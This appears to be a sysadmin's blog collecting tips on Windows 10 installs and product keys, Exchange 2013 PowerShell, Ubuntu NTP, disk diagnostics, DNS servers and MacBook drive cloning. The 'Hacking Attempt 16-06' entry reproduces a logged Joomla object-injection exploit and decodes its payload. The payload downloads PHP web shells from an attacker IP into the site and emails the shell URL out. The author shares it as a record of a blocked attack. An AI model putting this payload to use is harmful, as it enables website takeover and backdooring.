NOTE: If you are doing an IN-PLACE UPGRADE, the ISO must match what's on your system now. Many of the issues people are having is that they are trying to upgrade their system with a WINDOWS 10 PRO SINGLE LANGUAGE when they have WINDOWS 7 ALL LANGUAGES installed on their machine.

### SECOND WAY TO GET WINDOWS 10 ISO

So you have a bootable USB to install WINDOWS 10. You want to turn that into an ISO. How do you do it?

You don't turn it into an ISO. You turn it into a IMG (more specifically an imgPTN file). I won't go into details but you can't turn an entire bootable USB into an ISO easily. There's too many variables. But you can turn a bootable USB partition into a bootable partition image, hence imgPTN.

Here's how to turn it into an BOOTABLE IMG.

• http://files.easy2boot.com/200001685-7c24a7e1e7/MPI_Tool_Pack_Plus_CloverLite_065.zip
• -unzip it.
• -open the ImDisk\imdiskinst.exe file and run it to install the driver.
• -plug in your BOOTABLE USB drive.
• -the computer will assign a drive letter (for example DRIVE G).
• -drag the USB DRIVE LETTER onto the MAKEPARTIMAGE shortcut.
• -it will create an image of the USB drive.
• -wait.
• -put the IMG in the appropriate folder (probably G:\_ISO\WINDOWS\WIN10\).
• -click MAKE_THIS_DRIVE_CONTIGUOUS

That's it!!!! You've done it.

## Creating Resource Rooms in Exchange 2013

Creating resource rooms in EXCHANGE 2013 can be complicated as the GUI doesn't work in a straight-forward manner.

Here's how I did it:

• New-Mailbox -Database "Mailbox-FOO" -Name conference.downstairs -DisplayName "Conference Downstairs" -Room
• Set-MailboxFolderPermission conference.downstairs:\Calendar -User Default -AccessRights Reviewer
• Set-CalendarProcessing conference.downstairs -AutomateProcessing AutoAccept

This will allow users to set an appointment with the ROOM as the LOCATION but will only allow the ORGANIZER to adjust the appointment (rather than letting anyone change the appointment).

## Hacking Attempt 16-06

Here's another hacking attempt on another hosted web site. This attempt is from: 74.208.47.52 which was resolving to catchmeapp.com

NOTE: Often the hacking web site is not the perpetrator and is hacked itself. This makes it hard to discover the real hacker.

==========================
GET / HTTP/1.1" 301 236 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimp
lepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_u
rl\";s:3810:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9sb2wucGhwIiA7DQokZnA9Zm9wZW4oIiRjaGVjayIsIncrIik7
DQpmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ21aMWJtTjBhVzl1SUdoMGRIQmZaMlYwS0NSMWNtd3BldzBLQ1NScGJTQTlJR04xY214ZmFXNXBkQ2drZFhKc0tUc05DZ2xqZFhKc1gzTmxkRz
l3ZENna2FXMHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc0lERXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDd2dNVEFwT3cwS0NXTjFj
bXhmYzJWMGIzQjBLQ1JwYlN3Z1ExVlNURTlRVkY5R1QweE1UMWRNVDBOQlZFbFBUaXdnTVNrN0RRb0pZM1Z5YkY5elpYUnZjSFFvSkdsdExDQkRWVkpNVDFCVVgwaEZRVVJGVWl3Z01DazdEUW9KY21WMGRYSn
VJR04xY214ZlpYaGxZeWdrYVcwcE93MEtDV04xY214ZlkyeHZjMlVvSkdsdEtUc05DbjBOQ2lSamFHVmpheUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyeHBZbkpoY21sbGN5
OXFiMjl0YkdFdlkzTnpMbkJvY0NJZ093MEtKSFJsZUhRZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0Rvdkx6YzBMakl3T0M0ME55NDFNaTluWlhRdlkzTnpMblI0ZENjcE93MEtKRzl3Wlc0Z1BTQm1iM0JsYmlna1
kyaGxZMnNzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Wlc0c0lDUjBaWGgwS1RzTkNtWmpiRzl6WlNna2IzQmxiaWs3RFFwcFppaG1hV3hsWDJWNGFYTjBjeWdrWTJobFkyc3BLWHNOQ2lBZ0lDQmxZMmh2SUNS
amFHVmpheTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeUk3RFFwbFkyaHZJQ0prYjI1bElDNWNiaUFpSURzTkNpUmphR1ZqYXpJZ1BTQWtYMU5GVWxaRlVsc25SRTlEVl
xzWlY5bGVHbHpkSE1vSkdOb1pXTnJNaWtwZXcwS0lDQWdJR1ZqYUc4Z0pHTm9aV05yTWk0aVBDOWljajRpT3cwS2ZXVnNjMlVnRFFvZ0lHVmphRzhnSW01dmRDQmxlR2wwY3pJaU93MEtaV05vYnlBaVpHOXVa
VElnTGx4dUlDSWdPdzBLRFFva1kyaGxZMnN6UFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwzY3VhSFJ0SWlBN0RRb2tkR1Y0ZERNZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0Rvdkx6Yz
BMakl3T0M0ME55NDFNaTluWlhRdmR5NTBlSFFuS1RzTkNpUnZjRE05Wm05d1pXNG9KR05vWldOck15d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQXpMQ1IwWlhoME15azdEUXBtWTJ4dmMyVW9KRzl3TXlrN0RR
tDZG9kSFJ3T2k4dk56UXVNakE0TGpRM0xqVXlMMmRsZEM5akxuUjRkQ2NwT3cwS0pHOXdORDFtYjNCbGJpZ2tZMmhsWTJzMExDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEUXNKSFJsZUhRMEtUc05DbVpqYkc5
elpTZ2tiM0EwS1RzTkNnMEtKR05vWldOck5UMGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMMnB0WVdsc2N5NXdhSEFpSURzTkNpUjBaWGgwTl
WlhoME5TazdEUXBtWTJ4dmMyVW9KRzl3TlNrN0RRb05DaVJqYUdWamF6WTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdmIyMXNZUzlxZFhObGNpNXdhSE
bmR5YVhSbEtDUnZjRFlzSkhSbGVIUTJLVHNOQ21aamJHOXpaU2drYjNBMktUc05DZzBLSkhSdmVpQTlJQ0puWVdKaWVTNWpZWE5vUUhsaGJtUmxlQzVqYjIwc2IyeHZhbVZ6YUdGcllYSmhRR2R0WVdsc0xtTn
ZiU0k3RFFva2MzVmlhbVZqZENBOUlDZEtiMjBnZW5wNklDY2dMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhUc05DaVJvWldGa1pYSWdQU0FuWm5KdmJUb2dTMlZyYTJGcElGTmxibk5sYmlBOGRt
OXVVbVZwYm1obGNucExiR0YxYzBCVFlXbHJiM1Z1WVVocFlta3VZMjl0UGljZ0xpQWlYSEpjYmlJN0RRb2tiV1Z6YzJGblpTQTlJQ0pUYUdWc2JIb2dPaUJvZEhSd09pOHZJaUF1SUNSZlUwVlNWa1ZTV3lkVF
JWSldSVkpmVGtGTlJTZGRJQzRnSWk5c2FXSnlZWEpwWlhNdmFtOXZiV3hoTDJwdFlXbHNMbkJvY0Q5MUlpQXVJQ0pjY2x4dUlpQXVJSEJvY0Y5MWJtRnRaU2dwSUM0Z0lseHlYRzRpT3cwS0pITmxiblJ0WVds
c0lEMGdRRzFoYVd3b0pIUnZlaXdnSkhOMVltcGxZM1FzSUNSdFpYTnpZV2RsTENBa2FHVmhaR1Z5S1RzTkNnMEtRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdEUW9OQ2cwS1B6ND0nKSk7DQpmY2xvc2UoJGZwKT
s='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s
:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
===============================================

This translates into:

===============================================
$check =$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('PD9waHANCmZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwpew0KCSRpbSA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoJcmV0dXJuIGN1cmxfZXhlYygkaW0pOw0KCWN1cmxfY2xvc2UoJGltKTsNCn0NCiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2xpYnJhcmllcy9qb29tbGEvY3NzLnBocCIgOw0KJHRleHQgPSBodHRwX2dldCgnaHR0cDovLzc0LjIwOC40Ny41Mi9nZXQvY3NzLnR4dCcpOw0KJG9wZW4gPSBmb3BlbigkY2hlY2ssICd3Jyk7DQpmd3JpdGUoJG9wZW4sICR0ZXh0KTsNCmZjbG9zZSgkb3Blbik7DQppZihmaWxlX2V4aXN0cygkY2hlY2spKXsNCiAgICBlY2hvICRjaGVjay4iPC9icj4iOw0KfWVsc2UgDQogIGVjaG8gIm5vdCBleGl0cyI7DQplY2hvICJkb25lIC5cbiAiIDsNCiRjaGVjazIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9saWJyYXJpZXMvam9vbWxhL2ptYWlsLnBocCIgOw0KJHRleHQyID0gaHR0cF9nZXQoJ2h0dHA6Ly83NC4yMDguNDcuNTIvZ2V0L20udHh0Jyk7DQokb3BlbjIgPSBmb3BlbigkY2hlY2syLCAndycpOw0KZndyaXRlKCRvcGVuMiwgJHRleHQyKTsNCmZjbG9zZSgkb3BlbjIpOw0KaWYoZmlsZV9leGlzdHMoJGNoZWNrMikpew0KICAgIGVjaG8gJGNoZWNrMi4iPC9icj4iOw0KfWVsc2UgDQogIGVjaG8gIm5vdCBleGl0czIiOw0KZWNobyAiZG9uZTIgLlxuICIgOw0KDQokY2hlY2szPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL3cuaHRtIiA7DQokdGV4dDMgPSBodHRwX2dldCgnaHR0cDovLzc0LjIwOC40Ny41Mi9nZXQvdy50eHQnKTsNCiRvcDM9Zm9wZW4oJGNoZWNrMywgJ3cnKTsNCmZ3cml0ZSgkb3AzLCR0ZXh0Myk7DQpmY2xvc2UoJG9wMyk7DQoNCiRjaGVjazQ9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9jaGVjay5waHAiIDsNCiR0ZXh0NCA9IGh0dHBfZ2V0KCdodHRwOi8vNzQuMjA4LjQ3LjUyL2dldC9jLnR4dCcpOw0KJG9wND1mb3BlbigkY2hlY2s0LCAndycpOw0KZndyaXRlKCRvcDQsJHRleHQ0KTsNCmZjbG9zZSgkb3A0KTsNCg0KJGNoZWNrNT0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9saWJyYXJpZXMvam9vbWxhL2ptYWlscy5waHAiIDsNCiR0ZXh0NSA9IGh0dHBfZ2V0KCdodHRwOi8vNzQuMjA4LjQ3LjUyL2dldC9tbS50eHQnKTsNCiRvcDU9Zm9wZW4oJGNoZWNrNSwgJ3cnKTsNCmZ3cml0ZSgkb3A1LCR0ZXh0NSk7DQpmY2xvc2UoJG9wNSk7DQoNCiRjaGVjazY9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9qdXNlci5waHAiIDsNCiR0ZXh0NiA9IGh0dHBfZ2V0KCdodHRwOi8vNzQuMjA4LjQ3LjUyL2dldC91c2VyLnR4dCcpOw0KJG9wNj1mb3BlbigkY2hlY2s2LCAndycpOw0KZndyaXRlKCRvcDYsJHRleHQ2KTsNCmZjbG9zZSgkb3A2KTsNCg0KJHRveiA9ICJnYWJieS5jYXNoQHlhbmRleC5jb20sb2xvamVzaGFrYXJhQGdtYWlsLmNvbSI7DQokc3ViamVjdCA9ICdKb20genp6ICcgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCiRoZWFkZXIgPSAnZnJvbTogS2Vra2FpIFNlbnNlbiA8dm9uUmVpbmhlcnpLbGF1c0BTYWlrb3VuYUhpYmkuY29tPicgLiAiXHJcbiI7DQokbWVzc2FnZSA9ICJTaGVsbHogOiBodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIi9saWJyYXJpZXMvam9vbWxhL2ptYWlsLnBocD91IiAuICJcclxuIiAuIHBocF91bmFtZSgpIC4gIlxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRveiwgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCg0KQHVubGluayhfX0ZJTEVfXyk7DQoNCg0KPz4=')); fclose($fp);
================================================

Which further is decoded to:

================================================

<?php
function http_get($url){$im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im);
curl_close($im); }$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/css.php" ;$text = http_get('http://74.208.47.52/get/css.txt');
$open = fopen($check, 'w');
fwrite($open,$text);
fclose($open); if(file_exists($check)){
echo $check."</br>"; }else echo "not exits"; echo "done .\n " ;$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;$text2 = http_get('http://74.208.47.52/get/m.txt');
$open2 = fopen($check2, 'w');
fwrite($open2,$text2);
fclose($open2); if(file_exists($check2)){
echo $check2."</br>"; }else echo "not exits2"; echo "done2 .\n " ;$check3=$_SERVER['DOCUMENT_ROOT'] . "/w.htm" ;$text3 = http_get('http://74.208.47.52/get/w.txt');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;$text4 = http_get('http://74.208.47.52/get/c.txt');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;$text5 = http_get('http://74.208.47.52/get/mm.txt');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/juser.php" ;$text6 = http_get('http://74.208.47.52/get/user.txt');
$op6=fopen($check6, 'w');
fwrite($op6,$text6);
fclose($op6);$toz = " This e-mail address is being protected from spambots. You need JavaScript enabled to view it , This e-mail address is being protected from spambots. You need JavaScript enabled to view it ";
$subject = 'Jom zzz ' .$_SERVER['SERVER_NAME'];
$header = 'from: Kekkai Sensen < This e-mail address is being protected from spambots. You need JavaScript enabled to view it >'; document.write( '' ); document.write( addy_text60789 ); document.write( '<\/a>' ); //--> This e-mail address is being protected from spambots. You need JavaScript enabled to view it ;' . "\r\n";$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";$sentmail = @mail($toz,$subject, $message,$header);

?>
===============================================

Nice try... but not this time.

## Hacking Attempt 16-05

Here's a recent hacking attempt into a hosted web site. The hacking attempt is from webmeup-crawler.com

=============================
==============================

This translates into:

==============================
<script type='text/javascript'> <!-- var prefix = 'ma'   'il'   'to'; var path = 'hr'   'ef'   '='; var addy64466 = 'PetersHyland'   '@'; addy64466 = addy64466   'ipre'   '.'   'com'; document.write('<a '   path   '\''   prefix   ':'   addy64466   '\'>'); document.write(addy64466); document.write('<\/a>'); /-->\n </script><script type='text/javascript'> <!-- document.write('<span style=\'display: none;\'>'); /--> </script>This email address is being protected from spambots. You need JavaScript enabled to view it. <script type='text/javascript'> <!-- document.write('</'); document.write('span>'); /--> </script>
==============================

This was repeated in a brute force attack, changing the password for every attemtp.

Nice one... but not this time.

## Clean Install Windows 10

Clean installing Windows 10 can be a pain. There's too many gotchas that it can be frustrating.

Here's how I did it:

• -after your have created the USB, check to make sure you have the right BUILD NUMBER (see other article post).
• -SKIP PRODUCT KEY DURING INSTALL (OR "Do This Later or I Don't Have a Key"). Save the activation after install with your Windows 7, 8 or 8.1 Product Key, even if embedded in BIOS.
(NOTE: this is in contrast to the WINDOWS 8 that requires to NOT select "I don't have a product key" as activation will not be successful. )

## Find Windows 10 ISO Version or Build Number

Finding the Windows 10 ISO version or Build Number is important because builds starting in November 2015 and newer allow you to clean install Windows 10 if you have Windows 7 or Windows 8.

• -mount the ISO to expose the files. This can be done through Windows 10, if you have another computer available or through VirtualCD.
• -find where the "install.wim" (or install.esd) is. For example; F:\sources\install.wim
• -open CMD
• -type: dism /Get-WimInfo /WimFile:F:\sources\install.wim /index:1
• -or if Windows 10 install.esd file, type: dism /Get-WimInfo /WimFile:F:\sources\install.esd /index:1

This will show the details of the INSTALL.WIM file.

NOTE:

-in some cases, Windows-7 will not be able to read a Windows-10 install.esd file :-(

## Re-enable Mailbox in Exchange 2013

If you disable a MAILBOX in EXCHANGE, the account is available for 30 days by default. However if you disable a MAILBOX in EXCHANGE and you disable an AD account, the MAILBOX will not show as a disconnected MAILBOX.

Here's how to get it back on demand.

First, check to see the RETENTION settings of the MAILBOXDATABASE:

$Get-MailboxDatabase "Mailbox-Database-Name-Here" | fl | grep MailboxRetention Now, let's make sure that the MAILBOX is still in the MAILBOXDATABASE:$Get-MailboxStatistics -Database "Mailbox-Database-Name-Here"

You will see all the accounts. Once you see the account that you want back, you will need the full DISPLAY NAME of the account needed.

$Get-MailboxStatistics -Database "Mailbox-Database-Name-Here" | fl | grep -i any-part-of-account-name-here Lastly, let's reconnect the MAILBOX and connect it to an ACCOUNT:$Get-MailboxDatabase -Identity "Mailbox-Database-Name-Here"  | Get-MailboxStatistics | Where { $_.Displayname -eq "full-display-name-here)" } | Connect-Mailbox -User "username-here" ## Windows 8/8.1/10 Product Keys SITUATION You have a new computer and you test out Linux destroying everything on the hard drive. You go to reinstall Windows and you realize that you do not have the PRODUCT KEY. There is no label on the side/back/inside of the pc. You have an OEM Windows 8.1 disk. The pc does not have a DVD drive. RESOLUTION Find a pc that has a DVD drive. 1-create an ISO with 7ZIP. • -open 7-ZIP-FILE-MANAGER as ADMINISTRATOR. • -select the DVD DRIVE. • -click VIEW (at the top). • -click OPEN ROOT FOLDER. • -click VIEW (at the top). • -click UP ONE LEVEL. • -in the main window you will see: \\. (backslash, backslash, dot). • -double-click \\. • -select the DVD drive. • -click FILE > COPY-TO (at the top) • -select the folder where you want the ISO to go. 2-copy that ISO to your EASY2BOOT USB. • -easy squeezy. NOTE: if you do not have one, get one. It's super easy. Run tool. Have USB. 3-install WINDOWS. • -the install should use the PRODUCT KEY from the UEFI (or in laymans terms BIOS). • -if you are being prompted for a product key, it means that you have the wrong installation media and that's when the Windows 8.1/10 installer can't detect Windows 8/8.1 product key from UEFI firmware (BIOS). • -it will prompt which version to install, WINDOWS 8.1, WINDOWS 8.1 CORE, WINDOWS 8.1 SINGLE LANGUAGE (same as PRO), WINDOWS 8.1 PRO • -do NOT select "I don't have a product key". Activation will not be successful. 4-find WINDOWS PRODUCT KEY in the UEFI. • -use a wonderful tool called RWEVERYTHING here: http://rweverything.com/download/ • -open the tool. • -click ACPI (at the top). • -click MSDM tab (towards the top) • -look at the last line, it is the embedded PRODUCT KEY ;-) There are other ways to do this such as: • -open COMMAND PROMPT. • -type: WMIC Path SoftwareLicensingService Get OA3xOriginalProductKey As well as other ways. NOTES: ## Wrong Time on Ubuntu - NTP SCENARIO Fresh install of Ubuntu. Wrong time. Day later, still wrong time. HOW TO FIX THE WRONG TIME ON UBUNTU • -edit /etc/ntp.conf • -comment out the "pool" servers. • -comment out the fallback "pool" server. • -add a new line. • -type: server 192.168.1.1 (or local server/router/switch that can provide NTP services) • -save • -stop service: /etc/init.d/ntp stop • -start service: /etc/init.d/ntp start • -your finished! This may happen for various reasons. For me, the high-end firewall was blocking outside NTP servers from talking on port 123. NOTES: do not use/install ntpdate package, it is depreciated. ## Digital Watchdog Spectrum Client on Ubuntu 16.0.4 LTS Getting Digital Watchdog Spectrum Client on Ubuntu 16.0.4 LTS can be not-so-straight-forward especially if you are not from the Linux world. DOWNLOAD: TO INSTALL: • open TERMINAL • type: cd ~/Downloads • type: sudo dkpg -i digitalwatchdog-client-2.4.1.10278-x64-release.deb • (NOTE: do not just double-click on the file. Do not install with UBUNTU SOFTWARE MANAGER). • go through the setup process. On UBUNTU 14.02, you are finished. On UBUNTU 16.0.4, you need the following: • type: sudo apt-get install libgstreamer-plugins-base0.10-dev That's it! You should now be able to use the Digital Watchdog Spectrum client. ## Testing HD with Smartctl & Finding the Filesystem ## Testing HD with Smartctl & Finding the Filesystem Hmmm. Something is wrong with SDA. Let's test it: 1.smartctl -t short /dev/sda And look at the results: 1.smartctl -a /dev/sda The last 5 result log shows: Error: UNC 8 sectors at LBA = 0x00384622 = 3687970 SMART Self-test log structure revision number 1 Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error # 1 Short offline Completed: read failure 10% 44084 976766499 So we have to find the filesystem. Usually it would be: 1.# fdisk -lu /dev/sda I get: 1.Disk /dev/sda: 500.1 GB, 500107862016 bytes 2.255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors 3.Units = sectors of 1 * 512 = 512 bytes 4.Device Boot Start End Blocks Id System 5./dev/sda1 * 1 208769 104384+ fd Linux raid autodetect 6.Partition 1 does not end on cylinder boundary. 7./dev/sda2 208770 976768063 488279647 fd Linux raid autodetect Using: ((976766499- 208770) * 512) / 4096 We get: 122069716 LBA block. But wait, the filesystem isn't on sda, it's on /dev/main/root. Here's how: 1.# cat /etc/fstab 1./dev/main/root / ext3 usrquota,grpquota 1 1 2./dev/md1 /boot ext3 defaults 1 2 3./dev/main/swap swap swap defaults 0 0 So we know files system is mounted at /dev/main/root and it is ext3 type. We can find the BLOCK SIZE by: 1.# tune2fs -l /dev/main/root | grep Block I get: 1.Block count: 121561088 2.Block size: 4096 3.Blocks per group: 32768 We're still at 122069716 LBA block. Or specifically 122069716.125 or the second of 8 sectors in this block. We can test the block by: 1.# debugfs 2.debugfs 1.39 (29-May-2006) 3.debugfs: open /dev/main/root 4.debugfs: testb 122069716 5.Illegal block number passed to ext2fs_test_block_bitmap #122069716 for block bitmap for /dev/main/root 6.Block 122069716 not in use 7.debugfs: quit In short, it looks like this: ================================================================== sda1 sdb1 | md1 sdb1 sdb2 | md2 | pv (md2) | vg (main) / \ lv (main/root) lv (main/swap) ## Dell Windows 7 Product ID ## Transfer Hard Drive to New Hardware Transfer hard drive to new hardware. It can be done. • -take note of current setup bios for the ATA, AHCI, RAID setup. • -run c:\windows\system32\sysprep\sysprep.exe • -click GENERALIZE • -wait an hour and let it shutdown. • -tranfer to new hardware. • -boot pc • -change bios to match old setup. • -wait for it to boot All of your stuff should be intact. If for some reason that doesn't work, you can always load the drivers in the Windows in an offline manner. • -find your motherboard model number. • -download the CHIPSET DRIVERS. • -extract them to the C drive (for example: c:\drivers\chipset) • -boot into REPAIR MODE or start with WINDOWS OS INSTALL media (usb, CD, PXE, etc). • -click REPAIR YOUR COMPUTER (bottom-left). • -click COMMAND PROMPT. • -find what letter your WINDOWS-DIRECTORY is. • -type: dism /image:c:\ /add-driver /Driver:e:\install\chipset\ /recurse • -hit ENTER • -type EXIT • -reboot ## DNS Servers I love DNS servers. I really do. You ask a question, they give an answer. Here are some of the more popular ones. ### LEVEL 3 DNS SERVERS 4.2.2.1 4.2.2.2 4.2.2.3 4.2.2.4 4.2.2.5 ### GOOGLE DNS SERVERS 8.8.8.8 8.8.4.4 ### NETWARE DNS SERVERS 137.65.1.1 137.65.1.2 137.65.1.3 ### COMCAST DNS SERVER 75.75.75.75 75.75.76.76 ### OPENDNS SERVERS 208.67.222.222 208.67.220.220 You can use OPENDNS as a web content filtering tool to automatically block inappropriate content and keep children safe. ### HOW TO ASK QUESTIONS To ask a question you can use DIG (*nix) or NSLOOKUP (Windows). I prefer DIG and install it on Windows rather easily via GNUWIN. • -open shell of some kind (putty, command, power, etc) • -type: dig daknetworks.com • -type: nslookup daknetworks.com To ask a question of a specific server: • -type: dig daknetworks.com @4.2.2.2 • -type: nslookup daknetworks.com 4.2.2.2 To ask a specific type of record: • -type: dig -t mx daknetworks.com • -type: nslookup set type=mx daknetworks.com To ask for an authoritative record: • -type: dig -t ns daknetworks.com • -type: nslookup -type=soa daknetworks.com To ask for all the info: • -type: nslookup -debug daknetworks.com 1.2.3.4 ## Clone MacBook Pro Hard Drive With Boot Camp I have a 128GB SSD HD and I want to upgrade to a newly acquired 512GB SSD HD. How do I upgrade my ssd hard drive to a larger ssd hard drive on my MacBook Pro? ps- I have Boot Camp with a Windows partition. pss- many posts claim this can't be done or post a really, really long and complicated instruction set. Don't believe them. ;-) ### SHORT ANSWER • -clone the drive (clonezilla). • -resize the Windows Boot Camp partition (gparted). • -sync the partition tables (gparted). • -resize the OSX partition (diskutil). • -fix the Windows bootloader (Windows). ### LONG ANSWER NEEDED -usb with ubcd with parted magic (UBCD is universal boot cd). -host system. -Windows 7/8 cd/usb (or a Windows repair disk). CLONE -plug both ssd's into the host system. -boot via usb. -start parted-magic. -start clonezilla -clone disk to disk -wait till finished (this could take awhile) MOVE/RESIZE WINDOWS PARTITION -you should still be in parted-magic -start gparted -resize windows partition as needed (grab the handles) -move windows partition to the end -move the osx recovery boot loader next to the windows partition -apply changes -wait -after it's finished, if needed, you can fix the filesystem for both OSX and WINDOWS. SYNC FOR BOOT CAMP -you should still be in parted-magic -open terminal -type: sudo gptsync /dev/sda (or other device such as sdb sdc sdd. gparted will show you). -confirm Y -shutdown RESIZE OSX PARTITION -boot into os x with the new, larger hd. -open Disk Utility. -click the disk on the left hand side. -click the PARITION button (at the top). -select the volume you want to grow. -look at the info-window (at the bottom). -note the Disk Identifier (mine was disk0s2). -open Terminal. -type the following command: diskutil resizeVolume /dev/disk0s2 limits -it will show the current size, minimum size and maximum size. -note the maximum size (mine was 254.2GB. Do not get the part in parentheses.) -type the following command: sudo diskutil resizeVolume /dev/disk0s2 254.2GB (NOTE: the number above requires a GB but no space.) -enter your password if prompted. -wait. -shutdown FIX WINDOWS BOOTLOADER This also works if you get messages like "No boot device found" etc. This happens when the items get fouled up. How do you know if items are fouled up? Boot MacBook Pro to Windows either: -through holding the OPTION key on boot up (after chime). -boot into OSX and go to SYSTEM-PREFERENCES and choose the START-UP DISK. -you will see "No boot device" or Windows is going into repair mode on it's own. In either case, the following will work as a full instruction set. Adjust as needed. -insert Windows 7/8 cd/usb (or a Windows repair disk). -boot while holding OPTION key. -wait for windows 7 cd/usb shows (it could take a minute). -select Windows 7. -select your language. -click NEXT. -select REPAIR YOUR COMPUTER (bottom left). -click NO (for automatic repair). -click NEXT (at bottom right). -click COMMAND PROMPT. -type: bootrec /scanos. (If it isn't already there, it should find the WINDOWS installation and ask if you want to add it.) -type: Y -type: Diskpart -type: LIST DISK -type: SELECT DISK 0 (change this to the number of the disk . most likely 0) -type: LIST PARTITION -type: SELECT PARTITION 4 (change this to your partition number. most likely 4) -type: DETAIL PARTITION (it will show the details of the partition. We're trying to find the partition with the windows installation.) -if you found it, it will probably say ACTIVE: NO -type: ACTIVE -type: EXIT -type: bootrec /fixmbr (needed?) -type: bootrec /fixboot (needed?) -type: bootrec /rebuildbcd -type: exit -click RESTART CHECKDISK -when it restarts it will do a chkdsk. -let it finish. -it will reboot. -voila! You can bootcamp Windows! BOOT MANAGER/LOADER INFO For diagnostic information, this is provided. -boot to osx -open terminal -type: diskutil list -type: sudo gpt -r -vv show disk0 -type: sudo fdisk /dev/disk0 DEFINITIONS boot manager: manages your booting process. This can actually be changed to REFIND, PLOP, LILO, GRUB2 and a few others. Fun stuff! Not for the faint of heart! (see here for boot loaders https://en.wikipedia.org/wiki/Comparison_of_boot_loaders) boot loader: load an OS kernel and hand off control of the computer to that kernel. kernel: loads the booting os /--bl-->k-->osx bm--|--bl-->k-->centos/rhel \--bl-->k-->win7/8/10 NOTES: ## Intel Rapid Storage Technology (RST) (IRST) I was going to write a blog post about SATA, AHCI, RAID, RST, IRST, ICH10R, X58 and the drivers needed along with the settings and the difference between the drivers and the software but this post does a better job than I ever would be able to (as well as better explanation than Intel does too): http://www.win-raid.com/t2f23-Intel-RST-RSTe-Drivers-newest-v-WHQL-v-WHQL.html I will say that the SATA/AHCI/RAID/IRST drivers are driving the southbridge (ICH10R, etc) which is the HOST-CONTROLLER (aka DISK-CONTROLLER aka STORAGE-CONTROLLER) and that the CHIPSET drivers are driving the northbridge (X58, etc). Also, I will say that the speed of the SATA-I (150MB), SATA-II (300MB) or SATA-III (600MB) depends on both the HARD-DRIVE itself and the HOST-CONTROLLER. The easy ways to find the HOST-CONTROLLER speed is by using 